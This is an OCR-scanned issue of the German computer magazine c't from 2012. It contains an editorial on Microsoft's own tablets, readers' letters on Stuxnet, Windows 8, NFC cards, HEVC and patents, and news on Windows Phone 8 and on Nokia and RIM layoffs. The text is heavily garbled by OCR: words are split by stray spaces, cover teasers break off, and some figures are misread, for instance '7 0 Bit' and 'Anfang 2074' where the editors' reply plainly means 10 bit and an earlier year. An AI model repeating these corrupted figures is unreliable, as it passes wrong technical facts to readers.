
Datenträger enthält 
Info- und 

Lehrprogramme 
gemäß § 14 JuSchG 



scan by blackburner 2012 -mternetz 



Microsoft hat einen Plan 

Erst Windows Phone mit rigiden Hardware-Vorgaben, 
dann eine neue Version nur für neue Smartphones. 
Und nun baut Microsoft auch noch Tablets selbst?! 
Soll das eine Starthilfe für Windows 8 sein oder 
will Ballmer tatsächlich den treuen Hardware­
Partnern die Luft abdrücken? Doch Microsoft sieht 
den Tablet-Markt differenzierter als die Mäkler 
vom Dienst. Der Eingriff beschränkt sich auf eine 
entscheidende Schwäche der Partner: Einen iPad­

Konkurrenten kriegen sie nicht hin. 

Windows 8 braucht keine Starthilfe. Das zeigte 
nicht zuletzt die Computex, wo die gesamte 

Branche erleichtert war, dass Microsoft endlich 
ein starkes Tablet-Betriebssystem bringt. Dass 
Microsoft seine Hardware-Partner keinesfalls 
ausbooten will, zeigt vor allem die Verzögerung 

bei der Intel-Version des Tablets: Die drei 
Monate inklusive Weihnachtsgeschäft und dem bei 
Firmenkunden beliebten vierten Quartal, das ist 
ein klares Zugeständnis an die Partner. 

Was es zum iPaä-Konkurrenten braucht, zeigt das 

in den USA erfolgreiche Kindle Fire, das einzige 
wirklich beliebte Android-Tablet. Amazon hat es 
kastriert wie Apple sein iPad; und doch hat es 
alles, was anderen Android-Tablets fehlt: zentral 
verfügbare Magazine, Zeitungen und Bücher, legale 
Filme und TV-Serien, einen überwachten und damit 
besser vor bösartigen Apps geschützten App-Store. 

Auch hat Microsoft erkannt, dass der iPad-Kon­
kurrent ein einzelnes Modell von einem einzelnen 
Hersteller sein muss. Das Ding muss in den 
Microsoft-Läden stehen, mehrere identische 
Exemplare. Kunden sollen direkt ausprobieren, 
statt erst Datenblätter zu vergleichen. 

Daher hat Microsoft sich die ARM-Tablets mit 

Windows RT - das sind die eigentlichen iPad­
Konkurrenten - eine Zeit lang exklusiv gesichert. 
Auf der Computex hatten einige Hersteller zwar 
eigene Geräte gezeigt, aber zugegeben, die seien 
sicher nicht zum Start von Windows 8 fertig. 

Schon die Schutzhülle zeigt, dass Microsoft 
richtig liegt. Die Ingenieure der Hersteller 

haben sich dabei austoben dürfen, eine Tastatur 
ans Tablet zu schrauben, doch keiner kam auf die 
Idee, sie in ein flaches Cover zu integrieren. 
Sie haben es nicht geschafft, eine Vision 

jenseits des reinen Hardware-Designs zu finden 
- so geht es halt Firmen, die dauernd auf Preis­
kampf und Massenproduktion starren (müssen). 
Schon das Design für die schicken Ultrabooks 

musste Intel ihnen vorbeten. 

Ob Microsofts Strategie aufgeht oder ob sich 
Ballmer im Versionsnetz verfängt, steht auf einem 
anderem Blatt, und zwar auf einem leeren. Kann 

Microsoft Coolness? Wird es rechtzeitig genügend 

Apps geben? Werden Vorteile gegenüber dem iPad 
wie die bessere Mehrbenutzer-Fähigkeit die Kunden 
überzeugen? Dieser Herbst wird spannend. 

Jörg Wirtgen 
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Campingplatz oder im 
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springen mobile Hotspots 
als schnelle Internet­
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Moderne HSPA+-Modelle 
mit 42 MBit/s hängen 
ADSL-Anschlüsse locker 
ab und bringen ge­
nügend Akkukapazität 
für mehrere Stunden 
Surf-Betrieb mit. 



Windows-Shutdown-Tricks 
Vorsicht bei der Herunterfahrt: 
Dropboxen schließen selbst­
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Andere Qualität 

Editoria l  
"
Wa h lkampf mit Stuxnet", Jürgen 

Sch midt über Obamas Cyberwa r, c't 1 4/1 2 

Natürl ich s itzen die USA im Glashaus .  S ie tei­
len sich dies aber  mit  a l len a nderen Natio­
nen. Vor einem .,unbegrenzten" Cyberwar i st 
heute keine Nation und deren I nfrastruktu r  
gefeit. S ie  sol lten aber berücksichtigen, dass 
ein Angriff auf zivi le Zie le, a lso z. B. e in Was­
serkraftwerk, vor dem H interg rund des hu­
man itären Völkerrechts e ine  andere Qua l ität 
hat als der E insatz e iner Cyber-Specia i-Force 
wie Stuxnet. Soweit m i r  bekannt i st, ist Stux­
net so spezia l is iert, dass es sich um einen ge­
zielten Angriff auf e in m i l itärisches Ziel han­
delt .  Zumindest aus  S icht der USA. E ine Re­
aktion auf einen solchen gezielten Cyber-An­
griff, d ie sich gegen zivi le E i n richtu ngen 
richtet, wü rde e ine Reaktion aus lösen. Und 
zumindest im  Fa l le  USA darf deren enormes 
konventionel les und letzt l ich auch atomares 
Potent ia l  n icht u n berücksichtigt b le iben.  
.,Wer Wind sät, wird Sturm ernten" - und ich 
g laube, dass es heute keine Nation wagt, den 
amerikan ischen Stu rm zu entfesse ln .  Vor d ie­
sem H interg rund kann  der F riedensnobel­
preisträger Obama noch lange mit se inem 
Cyberkrieg angeben. 

lngo Rütt inger 

Sicherheit durch Angriffe 

Die Bedrohung von kriti schen I nfrastruktur­
systemen wie Kraftwerken d u rch Cyber-sa: 
botage besteht ei nzig, wei l  es Schwachstel­
len i n  den Systemen g ibt und ein E inbruch in 
solche Systeme fü r den Angreifer lohnend ist 
- unabhängig davon, ob ein Staat seinerseits 
Schwachste l len i n  Systemen anderer Staaten 
ausnützt oder n icht. Erfo lgreiche Cyber-An­
griffe steigern natü r l ich das öffent l iche Au­
genmerk auf d iese Art der  Kriegsfü h rung  
und könnten so  d ie  Bemü h u ngen a nderer  
Staaten, in  diesen Bereichen Know-how auf­
zubauen, verstä rken .  Die bestehenden S i ­
cherheits lücken und somit d ie  Gefäh rdung  
verändern s i e  meiner Meinung nach jedoch 
n icht. Vielmehr habe ich d ie Hoffn ung, dass 
du rch d ie öffentl iche Diskussion und eventu­
e l l  daraus folgend den Aufbau eigener Kom­
petenzen die S icherheit solcher Systeme zu­
künftig verbessert werden ka nn .  N u r  der 
ständige Wechsel  von Angriff und fo lgen­
dem Sch l ießen der S icherheits l ücke kan n  

Kommentare und Nachfragen 

- zu Artikeln bitte an xx@ct.de ("xx" steht für das 
Kürzel am Ende des jeweiligen Artikeltextes). 

- zu c't allgemein oder anderen Themen bitte an 
redaktion@ct.de. 

Technische Fragen an die Redaktion bitte nur 
unter www.ct.de/hotline oder perTelefon während 
unserer täglichen Lesersprechstunde. 

Anschrift, Fax- und Telefonnummern, weitere Maii­
Adressen im Anschluss an die Leserforum-Seiten. 

Die Redaktion behält sich vor, Zuschriften und Ge­
sprächsnotizeh gekürzt zu veröffentlichen. 
Antworten der Redaktion sind kursiv gesetzt. 
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langfristig zu s icheren Systemen füh ren.  Ich 
vermute ma l ,  dass e in  Ang riff wie Stuxnet 
heute in den i ran ischen Atoman lagen nicht 
mehr zum E rfolg füh ren würde - und i n  den 
amer ika n ischen erst recht n icht. 

F lor ian Bruhns 

User genervt 

Titelthema .,Wo Windows 8 pun ktet", c't 1 4/1 2 

Wozu erfi ndet Microsoft zwangsweise stän­
d ig  neue Bed ienkonzepte? Würde d ie Auto­
mobi l i ndustrie so a rbeiten, wären d ie U nfa l l­
za h len  aufgrund von Feh l bed ienu ngen g i ­
gantisch. Der  Motorsta rt wäre nu r  von  außen 
mögl ich, indem man die Hand auf d ie Motor­
haube legt, der Stopp des Motors dagegen 
wäre mit der Abfolge versch iedener Gesten 
im S ichtfe ld des I n nenspiegels  vorzu neh­
men. Gas und Bremse a l s  zentra le Bed ienun­
gen würden du rch fa rbige F lächen im  Dach­
h immel ersetzt, das  L inksabbiegen würde 
d u rch e ine kre isende Wisch beweg ung  i m  
Dachh immel  e inge le itet, d a s  Rechtsabbie­
gen dagegen du rch e in langsames zweihän­
d iges Bewegen nach oben.  Ach ja, angebl ich 
wäre das  Auto völ l i g  unfa l l s icher  u nd a b­
stu rzfrei .  Dass der genervte User a ber  i rgend­
wan n  aufg i bt und s ich aus  dem Fenster 
stü rzt, w i rd bei der  Zä h l u ng von .,Absturz" 
woh l  unterschlagen.  Was bitte rauchen d ie i n  
Redmond? Gehts noch? 

Olaf Sch i lgen 

Beunruhigende Beglückung 

Nichtöffentl icher Nahverkehr, Die Nahfunktechnik  
NFC i n  Smartphones und Chi pka rten, c't 1 4/1 2, 
s. 1 40 

Das Beu n ruh igende an den Beza h l mögl ich­
keiten per N FC ist, dass d iese per .,Zwangsbe­
g lückung" e ingefüh rt werden. Laut Auskunft 
meiner Ban k  werden künftig a l le  Bankka rten 
mit  der kontaktlosen Bezah l mög l ichkeit 
.,g i rogo" ausgestattet, d ie auf der bisherigen 
GeldKa rten-Fu n kt ional ität aufbaut. Eine De­
aktivierung auf Kundenwunsch ist nicht mög­
l ich .  Zuverläss ig schützen gegen den dann  
n icht mehr  auszusch l ießenden .,Taschendieb­
stah l  im Vorübergehen" kan n  man sich nu r, 
indem man die GeldKa rten-Funktional ität gar  
n icht  mehr nutzt und kein  Geld mehr auflädt. 
Ein kla res Beispiel dafü r, wie wen ig ernst es 
die Kred itwirtschaft mit der Sicherheit fü r den 
Bezah ler  n immt. 

Ch ristian  Ran k  

Eigentlich überflüssig 

Schwerpu n kt
" 

Mediacenter Auto", c't 1 4/1 2 

Den Artikel fand ich i nteressant, aber n icht 
kr it isch genug. I ch  kann  mich wäh rend der  
Fah rt n icht mit  i rgendwelchen Drehste l lern 
oder Touchpads beschäftigen.  ln meinen 
Augen ist d ie  Sprache ingabe das  e i nzige, 
was i n  Frage kommt. Die Autoherste l ler  wol­
len n icht, dass man e infach e in  Smartphone 
verwendet, s ie  wo l len  i h re teu ren e igenen 

Systeme verkaufen, d ie sehr schne l l  vera ltet 
s ind .  Desha lb  wird das Smartphone auch in  
e ine Ki ste verbannt, wo es n icht mehr  ge­
nutzt werden kann .  Bestenfa l l s  d ient es dann 
a l s  Modem. 

D ie rea le N utzung des Smartphones i st 
aber doch woh l, dass man es zur  Navigation 
etc. nutzt, indem man es m it einem Ha lter an 
der Windschutzscheibe befestigt. Das mache 
ich soga r  mit  meinem b i l l igen Nokia 5230, 
was ganz g ut k lappt. Man braucht dann ei­
gent l ich n u r  eine B luetooth-Fre isprech­
an lage. Die Navigation mit TomTom auf dem 
iPhone i st momentan woh l  deutl ich besser 
als jedes ei ngebaute System. Mit Sir i  g ibt es 
schon Sprachsteuerung und mit .,Apple Eyes 
F ree" sol lte s ich d ie  Situation weiter verbes­
sern .  Da n n  ist ein e ingeba utes System ei­
gent l ich ü berflüss ig .  

Andreas Fr ick 

Eher eine Notlösung 

Schnel l  verortet, Geotagging mit Google Latitude, 
c't 1 4/1 2, S.  1 64 

Mit I nteresse habe ich den Artikel gelesen, 
komme ich dqch gerade von einer drei­
wöchigen China-Rundreise zurück, auf der ich 
ebenfa l l s  mein Mobi ltelefon (Samsung Nexus 
S) zum Aufzeichnen der zurückgelegten Wege 
genutzt habe. Als Software habe ich den 
OSMTracker fü r Android genutzt und kann 
d iese App une ingeschränkt empfehlen.  Der 
OSMTracker kann  die aufgezeichneten Tracks 
d i rekt a l s  GPX exportieren und es wird keine 
ständige I nternetverb indung benötigt. So 
kann man sich den kompl izierten Umweg via 
Goog le ersparen und die Geodaten werden 
auch n icht an  den Suchmasch inenkonzern 
übermittelt, so dass man auch nicht auf seine 
Datenschutzeinste l lungen achten muss. 

Des Weiteren fand ich den GPS-Empfang 
meines Te lefons  n icht  besonders g ut. Oft 
wurde n ichts mehr  a�fgezeichnet, wenn ich 
das Telefon i n  der Hosen- oder Jackentasche 
hatte. Das füh rte dazu, dass ich das Telefon 
meistens seh r auffä l l i g  tragen m usste . . Bei 
Autofah rten m usste das Telefon i n  der Griff­
mu lde  der  Tü r, bei Zugfa h rten d i rekt am 
Fenster abgelegt werden.  l n  Anbetracht der  
Tatsache, dass  Tour isten häufiger Opfer von 
Taschend ieben werden, ein r iskantes U nter­
fangen, seine Wertsachen so offen zu präsen­
tieren. Zu mal Smartphones auch eine Menge 
an persön l ichen Daten enthalten. 

E in weiteres Problem i st die Akku-La uf­
zeit. N u r aufgrund der  Tatsache, dass ich auf 
2G gescha ltet, sämt l ichen Datenverkehr  ab­
gescha l tet u n d  a l l e  anderen H interg rund­
d ienste auf  e i n  M i n i m u m  red uziert habe, 
war ich in der Lage, die Tagesausflüge nahe­
zu vol l ständ ig a ufzuzeichnen .  Obwoh l  mich 
d ie  Ergebnisse ü berzeugt haben, i st das Mo­
b i lte lefon a l s  Geotagger  fü r m ich  eher  a l s  
Not lösung  zu betrachten.  I ch  denke, dass 
e in  spezie l les G PS-Gerät m it austausch baren 
Akkus und externer Antenne besser geeig­
net wäre. 

Ol iver Kramer 

c't 20 1 2, Heft 1 5  
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Reverse Sichtweise 

Die virtuelle Bewerbungsmappe- Bei Onl ine­
Bewerbungen gelten spezielle Regeln,  c't 1 4/1 2, 
s. 1 47 

Mindestens aus  Symmetrie-Gründen käme 
man in  Versuchung, den Artikel noch e inmal  
mit reverser S ichtweise zu verfassen: Wie 
sol lte ein Unternehmen Stel lenausschreibun­
gen verfassen, damit es geeignete Bewerber 
fi ndet? Wä hrend i nzwischen jeder k le ine 
Webshop gelernt hat, mit Kundendaten ver­
trau l ich umzugehen, ist es im Job-Vermitt­
l ungs-Metier immer  noch gang und  gä be, 
dass ke i n  versch lüsselter e lektron ischer 
Kanal  zur Übermitt lung von Bewerbungsun­
terlagen angeboten wird .  Überwiegend g ibt 
es keine Aussage über d ie Verwendung der 
überm itte lten Daten oder das rekrutierende 
Unternehmen räumt s ich eine viel zu weitge­
hende Verwendung der Daten e in .  

Verschickt e in  Bewerber u nter so lchen Be­
d ingungen dann eine Bewerbung auf Papier, 
i st er der H interwä ld ler, dem man unterstel lt, · 

er wisse noch n icht mit e lektron ischen Me­
dien umzugehen; weist er  auf Verbesse­
rungs-Mög l ichkeiten in Bezug auf gesehene 
I nfrastruktur-Mängel  hin, wi rd er als u n be­
quem wahrgenommen. 

Auf Wunsch des Verfassers 
ohne Namensnennung 

Auf datenschutzrechtliche Aspekte von Online­
Bewerbungen geht der Beitrag "Personal im 
Datenformat" auf Seite 740 in dieser c't-Aus­
gabe ein. 

Was H.265 fehlt 

Noch effizienter, bitte! Der kom mende Video­
kompressionsstandard H EVC, c't 1 4/1 2, S. 1 74 

Vielen Dank fü r d iesen ersten interessanten 
E inbl ick in  d ie H interg ründe der Arch itektur  
und  d ie Funkt ionsweise des zukü nft igen 
Sta nda rd-Codecs fü r Videokompress ion .  
Während der Lektüre des Art ikels i st  be i  mi r  
stetig d ie Vorfreude auf den Nachfolger von 
H .264 gewachsen.  Das wa r zumindest b is  
zum letzten Abschn itt so,  wo Sie dann d ie 
Katze aus  dem Sack lassen:  Der neue High­
End-Codec unterstützt zumindest vorerst nur 
e ine Auflösung von 8 B it .  Die U nterstützung 
des H igh 10 Profi le von H .264 im  populären 
F reeware-Encoder x264 hat gezeigt, dass 
s ich dadurch je nach Que l lmater ia l  E inspa­
rungen bei der Datenrate von 1 0  bis 20 Pro­
zent bei g le icher oder besserer B i ldqua l ität 
erreichen lassen.  Zusätz l ich ent ledigt man 
s i ch  durch d ie Kompression m it 10  Bit end­
l ich fast vol l ständ ig des läst igen und wirk l ich 
unschönen Phänomens des Banding .  

Von daher hätte ich erwartet, dass d ie U n­
terstützung von 1 0  Bit n icht nu r  von Anfang 
an dabei i st, sondern auch obl igatorisch und 
8 B i t  obsolet und  n icht mehr  u nterstützt 
wird. Zäh le  ich e in s  und e ins  zusa m men, 
b le ibt unterm Str ich bei HEVC dann nur noch 
eine Ersparn i s  von c i rca 20 Prozent bei der 
Daten rate und du rch Banding eine gegebe-
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nenfa l l s  sogar  schlechtere B i ldqua l ität Wi rk­
l ich bedauernswert an dieser Ste l le  ist, dass 
selbst wenn  später 1 0  Bit und mehr  bei der 
Fa rbtiefe u nterstützt werden, s ich 8 Bit be­
reits a l s  Standard etab l iert haben wi rd und  
a n  e in  Nachrüsten bestehender Ha rdware­
Decoder auch n icht zu denken ist. 

' 

Jan Lars Hübner 

Keine Angst- 7 0 Bit und 4:4:4 sind in Vorberei­
tung und werden vermutlich Anfang 2074 als 
Standard fertig sein. Wir haben übrigens lange 
7 0 Bit als Voreinstellung genutzt und damit 
sogar circa 2 bis 3 Prozent mehr Gewinn gegen­
über A VC!H.264 erzielt. Es hat sich dann aber 
herausgestellt, dass insbesondere die Hard­
ware-Industrie für den Anfang nur 8 Bit wollte 
- um höheren Speicheraufwand zu vermeiden. 
Daher ist es im Main Profile so festgeschrieben 
worden. Banding wird übrigens durch SAO 
(Sample Adaptive Offset) praktisch eliminiert. 

(Jens-Rainer Ohm) 

Patentschutz zur Seite 

Prozed urale Prosa auf Europäisch, Kein  U rheber­
rechtsschutz fü r Prog rammiersprachen, c't 1 3/ 1 2, 
S. 1 54 

Der Art ike l  hat sehr gut  deut l ich gemacht, 
dass das U rheberrecht ,. Ideen und Grundsät­
ze, die e inem Computerprog ramm zugrunde 
l iegen" n icht schützt. Dies l iegt da ran ,  dass 
das U rheberrecht auf den Schutz von kultu­
re l l en  Werken m it einer wahrnehmba ren 
Formgesta ltung abzielt. Die Autoren haben 
a l lerd ings  n icht auf den wichtigen Punkt h i n­
gewiesen, dass Ideen und Grundsätze du rch 
das  Patentrecht gesch ützt werden können,  
das  dem U rheberrecht zur  Se ite steht. Das 
Patentrecht sch ützt a l lerd i ngs  nur techn i­
sche Erfindungen. Computerprog ramme a l s  
so lche s ind vom Patentsch utz ausgenom­
men. E in  schutzfäh iges Computerprogramm 
muss e inen  techn ischen Beitrag l iefern .  Auf 
Com putersprachen ü bertragen bedeutet 
d ies: E ine Computersprache, d ie  zur  Steue­
rung eines Roboters konzip iert i st (wie bei­
spie lsweise ROBOLAB/LabVI EW), kann  mög­
l icherweise techn i sche Aspekte a ufwei sen, 

d ie s ich du rch Patente schützen lassen.  Glei­
ches g i l t  fü r Benutzersch n ittste l len,  Protokol­
le und Dateiformate mit  techn ischem Bei­
trag, d ie s ich ein erfi nderischer Programmie­
rer d u rchaus  sch ützen lassen kan n  (man 
denke n u r  an  S l ider-Patente und die vie ld is­
kutierten Codec-Patente). 

Dr. Mart in  Meggle-Freund, Patentanwa lt 

Keine ausreichende Warnung 

Donnerschlag, Thu nderbolt-Buchse mit 10 GBit/s 
jetzt auch an PCs, c't 1 3/ 1 2, 's. 1 28 

I ch fi nde es schade, dass in I h rem Art ike l  fast 
nu r  bei läufig und nahezu verha rmlosend i n  
e i nem kleinen Kasten auf  d ie grund legenden 
S icherheitsbedenken gegen d iese neue 1/0-
Techn i k  e ingegangen wird.  So lange d ieses 
Angriffsszenario ausgenutzt werden kön nte, 
d i squa l ifiz iert s ich TBT (genauso wie F i re­
Wi re) i nsbesondere fü r den E insatz im U nter­
nehmensumfeld .  Ich wü rde m i r  wünschen, 
dass Sie solche Gefah ren deut l icher heraus­
ste l len,  auch wen n  das mög l icherweise d ie 
Beerd igung  e iner  neuen Techn ik  zur  Fo lge 
hätte. 

Alexander Bu rkert 

Ergänzungen & Berichtigungen 

Klicken statt wischen 

Was Windows 8 für klassische PCs bringt, 
c't 1 4/1  2, S.  92 

Anders a l s  im Text behauptet, ver langt Mi­
crosoft fü r e in  Windows-8-Logo keine Fest­
p latte mit e iner m in imalen Datentransferrate 
von 60 GByte/s, sondern b loß 60 MByte/s. 

Schnellschreiber 

Schwa rzweiß-Laserdrucker mit Du plex 
und Netzwerk, c't 1 4/1  2, S. 1 06 

Bei dem Diag ramm zum Verhä ltn is  Druck­
vol umen und Gesamtkosten auf Seite 1 09 i st 
uns  le ider e ine Dezima lste l le verrutscht. Das 
Diagramm mit den korrekten Werten drucken 
wir h ier  ab. 

Xerox Phaser 3250V /DN 

Samsung ML-2955DW 

Ricoh SP-300dn 

Das Diagramm 
zeigt d ie  Kosten 
in  Abhängigkeit 
vom Druck­
volumen. 
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c't 1 Schlagseite 

Klarer Fall. 
Da ist der Bildprozessor durchgeschmort. 

Das Gerät können Sie 
abschreiben. 
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aktuell I Windows Phone 8 

Achim Ba rczok, Lutz Labs 

Windows Phone 8 
Die nächste Generation von Microsofts 
Mobilbetriebssystem 

Microsoft baut sein Mobi l betriebssystem komplett u m .  
Das im Herbst erscheinende Windows P h o n e  8 n utzt 
den g leichen Kernel wie Windows 8 - mit weitreichenden 
Folgen fü r die App-Kom pati b i l ität und die U nter­
stützu ng ä lterer Geräte. 

A uf der Entwicklerkonferenz 
Windows Phone Summit i n  

San Francisco hat Microsoft erste 
Deta i l s  zur kommenden Version 
seines Mobi l betr iebssystems 
Windows Phone vorgeste l lt . 
Windows CE, der Unterbau von 
Windows Phone 7.5 und auch 
dem Vorgänger Windows Mobi­
le, wird ausgemustert. Microsoft 
setzt bei Windows Phone 8, 
Codename Apol lo, auf den g lei­
chen Kerne!, der auch bei Win­
dows 8 verwendet wird .  

Das so l l  vor a l lem den Entwick­
lern von Metro-Apps die Arbeit er­
leichtern. Programmierer können 
laut Microsoft große Tei le  ih res 
Codes auf beiden P lattformen 
verwenden, speziel l bei Netzwerk­
zugriffen, Sicherheitsfunktionen 
und Mu ltimedia sol len d ie APis 
sehr ähn l ich sein .  Microsoft ver­
spricht sich zudem eine schnellere 
Umsetzung bel iebter Spiele auf 
die Smartphones. 

Fü r  Windows Phone 7 ge­
schr iebene Apps laufen auch 
u nter Version 8 ;  umgekehrt g i l t  
d ies jedoch n u r, wen n  d ie  An­
wendung keine der neuen Funk­
tionen erfordert. 

Die Hardwareherste l le r  kön­
nen in  Zukunft d rei versch iedene 
B i ldsch i rmauflösungen n utzen :  

Zu der  bekannten Auflösung von 
800 x 480 Pixel gese l len  s ich 
720p ( 1 280 x 720)  und  WXGA 
( 1 280 x 768) - von Microsoft 
"720p p lus" genannt. Die U nter­
stützung der Nahfu n ktechn ik  
N FC so l l  n i ch t  n u r  zum Aus­
tausch von Daten d ienen,  son­
dern vor a l lem zum mobi len Be­
zah len .  Dabei setzt Microsoft auf 
Kooperat ionen m it den Mobi l ­
fun k-Providern :  Die sens ib len 
Nutzerdaten sol len auf der S IM­
Ka rte gespeichert und damit ge­
räteunabhäng ig  werden .  Zu­
nächst wird der französische Pro­
vider Orange eine damit kom pa­
tible Secu re SIM anbieten.  

E ine  weitere Neuerung be­
trifft den Wechsel speicher: N ut­
zer können den Speicher i h rer 
Smartphones i n  Zukunft g ünstig 
mit  MicroSD-Karten aufrüsten -
sofern d ie  Herste l le r  passende 
S lots e inbauen .  Deta i l s  zur  U n­
terstützung des Wechse l spei­
chers stehen jedoch noch aus .  
Am Rand der Präsentation sagte 
ein Microsoft-Manager gegen­
über c't, dass Nutzer keinen Zu­
griff auf das Dateisystem haben 
werden.  Stattdessen könne man 
d ie  dort gespeicherten Daten -
etwa Fotos, Mus ik  oder Videos -
led ig l i ch  mit  passenden Apps 

Auf dem Windows Phone Summit stel lte der Microsoft­
Manager Joe Belfiore die Vortei le des gemeinsam mit 
Windows 8 genutzten Kerneis in den Vordergrund. 
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öffnen oder Apps von der SO­
Karte aus  insta l l ieren. 

Software-Neuheiten 

Sichtbar verändert hat Microsoft 
den Sta rtb i ldsch i rm, der stä rker 
den eigenen Vorl ieben angepasst 
werden kann .  Die Kacheln lassen 
sich nun mittels  Touch-Geste ska­
l ieren und haben ein feineres Ras­
ter (bis zu vier Kacheln in der Brei­
te), zudem können Entwickler 
stärker i n  das Aussehen der Ka­
cheln ih rer Apps eingreifen. 

Der neue Browser setzt auf 
dem In ternet Explorer 1 0  auf 
und so l l  vor a l lem bei der Java­
Scr ipt-Performance zugelegt 
haben.  Zudem bekommt der I E  
e inen Anti-Ph i sh ing-F i lter und  
mehr  HTML5-Support, u nter an ­
derem für Touch-Events. 

Nokias Ka rten-App, die bisher 
exkl us iv auf den Lumia­
Smartphones von Nokia läuft, 
kommt auch auf Windows Pho­
nes a nderer Herste l ler. Zum 
Funkt ionsumfang gehört d ie  
auch ohne I nternetverb indung  
fun kt ion ierende Fahrzeugnavi­
gation und der Down load von 
Ka rten von der Nokia-Tochter 
Navteq . Kosten lose Ka rten g i bt 
es jedoch n u r  fü r G roßbritan­
n ien,  Kanada und d ie USA. Ob es 
kostenpfl ichtiges Ka rtenmater ia l  
fü r andere Länder geben wird ,  
konnte Nok ia  noch n icht sagen. 

Windows Phone 8 wi l l  auch  
professionel le N utzer locken. Der 
Speicher soll m it Bit locker-Tech­
nik versch l üsselt werden.  U nter­
nehmen können Apps a uch au­
ßerha l b  des Marketplace recht 
e infach auf die Gerät.e i h rer Mit­
arbeiter verte i len,  sie müssen je­
doch weiterh in  von Microsoft 
zertifiz iert werden .  Auch d iese 
U nternehmens- internen Apps 
wird Microsoft du rch das Zurück­
z iehen des Zertifi kats aus  der 
Ferne löschen können .  Au ßer­
dem wi l l  Microsoft d ie Mög l ich­
keiten zur  zentra len Gerätever­
wa ltung verbessert haben. 

E ine  Fo lge des verbesserten 
M u lt itask ings :  Programme wie 
Skype können i m  H i nterg rund 
la ufen und  so auf e ingehende 
Anrufe reag ieren. Die Anwender 
sol len so kau m  noch einen U n­
tersch ied zwischen e inem nor­
ma len Telefonat und  e inem 
Skype-Gespräch bemerken.  

U pdates für Windows Phone 8 
kommen in Zukunft over the a i r, 
e in  PC ist n icht mehr notwendig .  
Die Entwickl ungsp lattform fü r 
Windows Phone 8 wird im Som-

Der neue Startscreen von 
Windows Phone 8 erlaubt 
kleinere Kacheln. 

mer zur  Verfügung  stehen, d ie 
ersten Smartphones mit dem 
System im Herbst. Microsoft 
nannte HTC, Huawei, Nokia und 
Samsung a l s  Partner, auch von 
LG und ZTE kön nten Smartpho­
nes m it dem neuen System kom­
men - konkrete Ankündigungen 
g ibt es jedoch noch nicht. 

Windows Phone 7.8 für 
ä ltere Hardware 

Die neue Betriebssystemvers ion 
läuft n icht auf ä lterer Hardware. 
M icrosoft verspricht e ine Version 
7.8, die e in ige Funkt ionen des 
neuen Betriebssystems auch auf 
d ie  a lte P lattform br ingen so l l .  
Ob das  U pdate fü r a l l e  b is lang 
verkauften Mode l le  zur Verfü­
gung  stehen wird, ist ebenso un­
bekannt  wie e in  Termin .  

A ls  einzige Neuerung der Ver­
s ion 7.8 nannte Microsoft den 
neuen Sta rt-Screen .  Nokia wi l l  
se ine Lum ia-Smartphones mit 
weiterer Software ausstatten .  So 
sol len d ie Model le 6 1 0, 7 1 0, 800 
und  900 etwa Streaming-Fähig­
keiten und  Kamera-Extras wie 
Panorama-, Act ion- und Smart­
Grou p-Aufnahmemodi sowie 
e inen Sel bstaus löser erha lten, 
Spiele des Fa rmvi l l e-Entwicklers 
Zynga sowie aktua l i s ierte Versio­
nen der Nokia-eigenen Dienste 
Nokia Navigat ion und  Nokia 
Bus&Bahn .  

Nach  e inem Bericht de r  asiati­
schen Nach richtenseite Dig it i­
mes wi l l  Mic rosoft d ie  Software 
auch über d ie Vers ion 7.8 h inaus  
weiter pflegen.  S ie so l l  fü r 
Smartphones i m  E insteigerbe­
reich vor a l lem in Schwel len län­
dern zum E insatz kommen. ( I I )  
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Massenentlassungen bei Nokia und RIM 

Nokia wi l l  s i ch  auf Kernbereiche 
wie Smartphones der Marke 
Lumia, d ig ita le Fotografie und 
mobile Navigation konzentrieren. 
Dazu streicht der Handy-Herstel ­
ler bis Ende 201 3 weltweit bis zu 
10 000 Ste l len .  Auch deutsche 
Standorte sind betroffen:  Zwar 
ble ibt das Berl iner  Zentrum fü r 
ortsbasierte Dienste bestehen, 
nicht aber der Standort fü r For­
schung und Entwickl ung in U l m  
m i t  zu letzt '730 Mitarbeitern.  Er  
sol l Ende September schl ießen, 
wie ein Nokia-Sprecher mittei lte. 

Außerdem verkauft das Unter­
nehmen seine Nobelmarke Vertu 
an den schwed ischen F inanz­
investor EQT und baut seine Füh­
rungsspitze um. Es gehen Marke­
t ingchefi n Jerri DeVa rd, Handy­
Chefin Mary McDowel l  und N iklas 
Savander. Das Blag A I ITh ingsD 
wi l l  aus ungenannten Que l len er­
fah ren haben, dass Nokia auch 
die Linux-Piattform Meltemi e in­
stel lt, d ie das U nternehmen an-

gebl ich a l s  Nachfolger fü r d ie 
Handy-Betriebssysteme 540 und 
Symbian entwickelte. 

Zugle ich senkte der Konzern 
die Prognose für das zweite Quar­
ta l .  D ie Rati ng-Agentur Moody's 
stufte die Bon ität des Handy­
Riesen anschl ießend auf Ramsch­
N iveau zurück. 

Auch das kanadische U nter­
nehmen Research in Motion 
(R IM), Herste l ler  der B lackberry­
Smartphones, steckt in der Krise. 
RIM hat erneut vor e inem Quar­
ta l sverlust gewarnt und bekannt 
gegeben, d ie Zah l  seiner Mitar­
beiter zu senken. Medienberich­
ten zufolge verl ieren zwischen 
2000 und 6000 der weltweit 
1 6  500 Mitarbeiter i h ren Arbeits­
platz. Gerüchten zufolge wi l l  R IM 
das Unternehmen aufspalten und 
die Hardware-Sparte an  die Börse 
br ingen oder verkaufen.  Auch 
e ine Trennung  von der Messa­
g i ng-Sparte stehe im  Raum, 
schreibt d ie Sunday Times. ( I I) 

Subnotebock mit AMD-Prozessor 

Anfang Jun i  hat AMD mit Brazos 
2.0 den Nachfo lger  der b isher i ­
gen C- und E-Serien-APUs ange­
künd igt, Mitte Ju l i  so l l  das erste 
damit bestückte Notebock in d ie 
Läden kommen: Sonys 1 1  ,6-Zöl­
ler Vaio E 1 1 .  

Sei n AMD-Prozessor E2- 1 800 
lä uft mit 1 ,7 GHz und  b ietet 
damit kau m  mehr  Rechen le is­
tung a l s  d ie bisher igen Model le 
E-350 und E-450 oder l nte ls 
Atom. Die Grafi ke inheit Radeon 
HD 7340 kann  s ich jedoch deut­
l ich von der I ntel-Konku rrenz ab-

@ Mobil-Notizen 

Samsung fü h rt e in  Kennzei­
chen für Business-Smartpho­
nes ein. Mobi lgeräte mit dem 
Label .,SAFE" (Samsung Appro­
ved for Enterprise) müssen d ie 
Versch lü ssel ung  per AES-256 
beherrschen und m it Microsoft 
ActiveSync, VPN-Anwendun­
gen und Verwa ltungsprogram­
men wie Cisco AnyConnect zu­
sammenspie len .  B i s lang trägt 
nur das Ga laxy 53 das Label .  

Der Amaz�n Appstore fü r An­
